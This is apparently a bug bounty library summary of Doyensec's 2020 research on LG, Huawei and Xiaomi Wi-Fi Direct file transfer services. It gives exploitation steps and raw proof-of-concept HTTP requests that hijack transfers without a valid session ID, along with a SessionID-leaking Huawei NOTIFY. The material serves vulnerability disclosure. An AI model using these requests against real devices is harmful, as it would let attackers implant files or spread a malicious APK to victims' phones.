# Novel Abuses On Wi-Fi Direct Mobile File Transfers

LG SmartShare Beam, Huawei Share, and Xiaomi Mi Share P2P file transfer services lack session authentication and crash-resistance, letting any local app hijack transfers and push arbitrary files.

- Payout: Research
- Severity: high
- Program: LG SmartShare Beam
- Write-up by: Doyensec
- Disclosed: 2020-12-09
- Write-up quality: 7/10
- Original: https://blog.doyensec.com/2020/12/10/novel-abuses-wifi-direct-mobile-file-transfers.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-doyensec-com-2020-12-10-novel-abuses-wifi-direct-mobile-file-transfers-html
- Tags: area:mobile domain:mobile domain:network impact:dos impact:integrity kind:research platform:research sev:high tech:android vuln:access-control vuln:auth-bypass vuln:dos vuln:path-traversal

**Target:** Wi-Fi Direct UPnP FTS/FTC services (ports 54003/55003, 8058/33003, WSS)
**Root cause:** FTS/FTC services accept file PUTs without validating the session ID (hardcoded port 55432, guessable randInt(1,100) session IDs), never re-check the filename against the prompted one, and crash on malformed requests allowing port rebinding.
**Steps:**
1. Establish Wi-Fi Direct P2P link; interface p2p-wlan0-0 is reachable by any app with android.permission.INTERNET.
2. Send `CreateSendSession` SOAP POST to `192.168.49.1:55003/FileTransfer/control.xml` with SessionInformation naming `CuteCat.jpg`.
3. Receive `CreateSendSessionResponse` with `TransportInfo: tcp:55432`.
4. Push arbitrary file via `PUT /CuteCat.jpeg HTTP/1.1` to `192.168.49.1:55432` without a valid session ID; change path to arbitrary filename/type.
5. For Huawei: send malformed request to crash FTSService, rebind port 8058 with fake FTSService, intercept NOTIFY /evetSub containing SessionID, serve arbitrary files.
**How found:** Focused on application layer of custom UPnP services rather than protocol layer; noticed P2P interface is exposed to all apps with INTERNET permission, then read the FTS/FTC design and tested session validation, filename binding, and crash behavior.
**Exploitation:** Any third-party app on either peer hijacks an in-progress transfer: pushes arbitrary files to victim storage on the hardcoded RX port, or crashes Huawei FTS and rebinds the port to intercept the SessionID from the UPnP NOTIFY event and serve attacker files. Wormable propagation of a malicious APK without user interaction.
**Escalation:** Wormable malicious app floods local/remote victims awaiting transfer, propagating its APK; also implants arbitrary files/evidence on victim device.
**Insight:** After a Wi-Fi Direct link is up, the p2p-wlan0-0 interface is reachable by any app holding INTERNET permission — treat the FTS/FTC HTTP/UPnP services as an untrusted local attack surface and test whether the transfer port enforces the session ID and the originally-prompted filename.

## Proof of concept (copied exactly from the original report)

**LG CreateSendSession SOAP request with file metadata**

```
POST /FileTransfer/control.xml HTTP/1.1
Connection: Keep-Alive
HOST: 192.168.49.1:55003
Content-Type: text/xml; charset="utf-8"
Content-Length: 1025
SOAPACTION: "urn:schemas-wifialliance-org:service:FileTransfer:1#CreateSendSession"
 
<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope
 xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <s:Body>
 <u:CreateSendSession
 xmlns:u="urn:schemas-wifialliance-org:service:FileTransfer:1">
 <Transmitter>Doyensec LG G6 Phone</Transmitter>
 <SessionInformation>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&lt;MetaInfo
 xmlns=&quot;urn:wfa:filetransfer&quot;
 xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;
 xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xsi:schemaLocation=&quot;urn:wfa:filetransfer http://www.wi-fi.org/specifications/wifidirectservices/filetransfer.xsd&quot;&gt;&lt;Note&gt;1 and 4292012bytes File Transfer&lt;/Note&gt;&lt;Size&gt;4292012&lt;/Size&gt;&lt;NoofItems&gt;1&lt;/NoofItems&gt;&lt;Item&gt;&lt;Name&gt;CuteCat.jpg&lt;/Name&gt;&lt;Size&gt;4292012&lt;/Size&gt;&lt;Type&gt;image/jpeg&lt;/Type&gt;&lt;/Item&gt;&lt;/MetaInfo&gt;
 </SessionInformation>
 </u:CreateSendSession>
 </s:Body>
</s:Envelope>
```

**Unauthenticated PUT hijacking LG transfer**

```
PUT /CuteCat.jpeg HTTP/1.1
User-Agent: LGMobile
Host: 192.168.49.1:55432
Content-Length: 4292012
Connection: Keep-Alive
Content-Type: image/jpeg

.... .Exif..MM ...<redacted>
```

**Huawei NOTIFY event leaking SessionID**

```
NOTIFY /evetSub HTTP/1.1
Content-Type: text/xml; charset="utf-8"
HOST: 192.168.49.1
NT: upnp:event
NTS: upnp:propchange
SID: uuid:e9400170-a170-15bd-802e-165F9431D43F
SEQ: 1
Content-Length: 218
Connection: close
 
<?xml version="1.0" encoding="utf-8"?>
<e:propertyset xmlns:e="urn:schemas-upnp-org:event-1-0">
   <e:property>
      <TransportStatus>1924435235:READY_FOR_TRANSPORT</TransportStatus>
```